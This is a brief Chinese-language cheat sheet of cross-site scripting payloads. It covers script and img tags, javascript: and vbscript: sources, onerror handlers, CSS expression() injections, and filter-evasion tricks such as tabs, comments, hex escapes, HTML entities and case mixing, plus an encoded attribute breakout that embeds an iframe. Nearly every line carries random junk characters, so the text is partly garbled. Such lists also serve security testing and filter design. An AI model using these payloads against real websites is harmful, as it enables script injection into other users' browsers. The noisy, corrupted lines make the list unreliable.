<script>alert("跨站")</script> (最常用)
, }% b' o9 {* v L" g% m<img scr=javascript:alert("跨站")></img>
- X2 k2 \% D3 O4 \<img scr="javascript: alert(/跨站/)></img>
( b& W( \3 a1 u' \" j- {$ R<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
" S$ G q4 \; L s3 i0 @<img scr="#" onerror=alert(/跨站/)></img>
* d+ U( D5 J3 E/ R" @% V/ v I" n<img scr="#" style="xss:expression(alert(/xss/));"></img>
7 z2 K, O7 ?2 U/ {0 K3 `<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)7 C+ W% x9 Y$ J0 t8 T! V: h: G
<img src=vbscript:msgbox ("xss")></img>1 _# V& m l4 y) O& H
<style> input {left:expression (alert('xss'))}</style>
2 N6 W- J3 |. I }" c<div style={left:expression (alert('xss'))}></div>
- T( X" j2 i) k8 F: ]$ q<div style={left:exp/* */ression (alert('xss'))}></div>0 U+ t$ `* V0 c2 U; l* b1 G+ X
<div style={left:\0065\0078ression (alert('xss'))}></div>: \; P+ Z6 S' U* ~7 o" K
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>
* R$ A6 Y% {! k ~unicode <div style="{left:expRessioN (alert('xss'))}">
8 L+ w+ p9 x% E% K$ B. S' l) M- r! p3 p
"]}%3Cscript%3Ealert('我又来啦!.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["# ]! X/ v3 E3 U+ F5 ?3 [3 r
|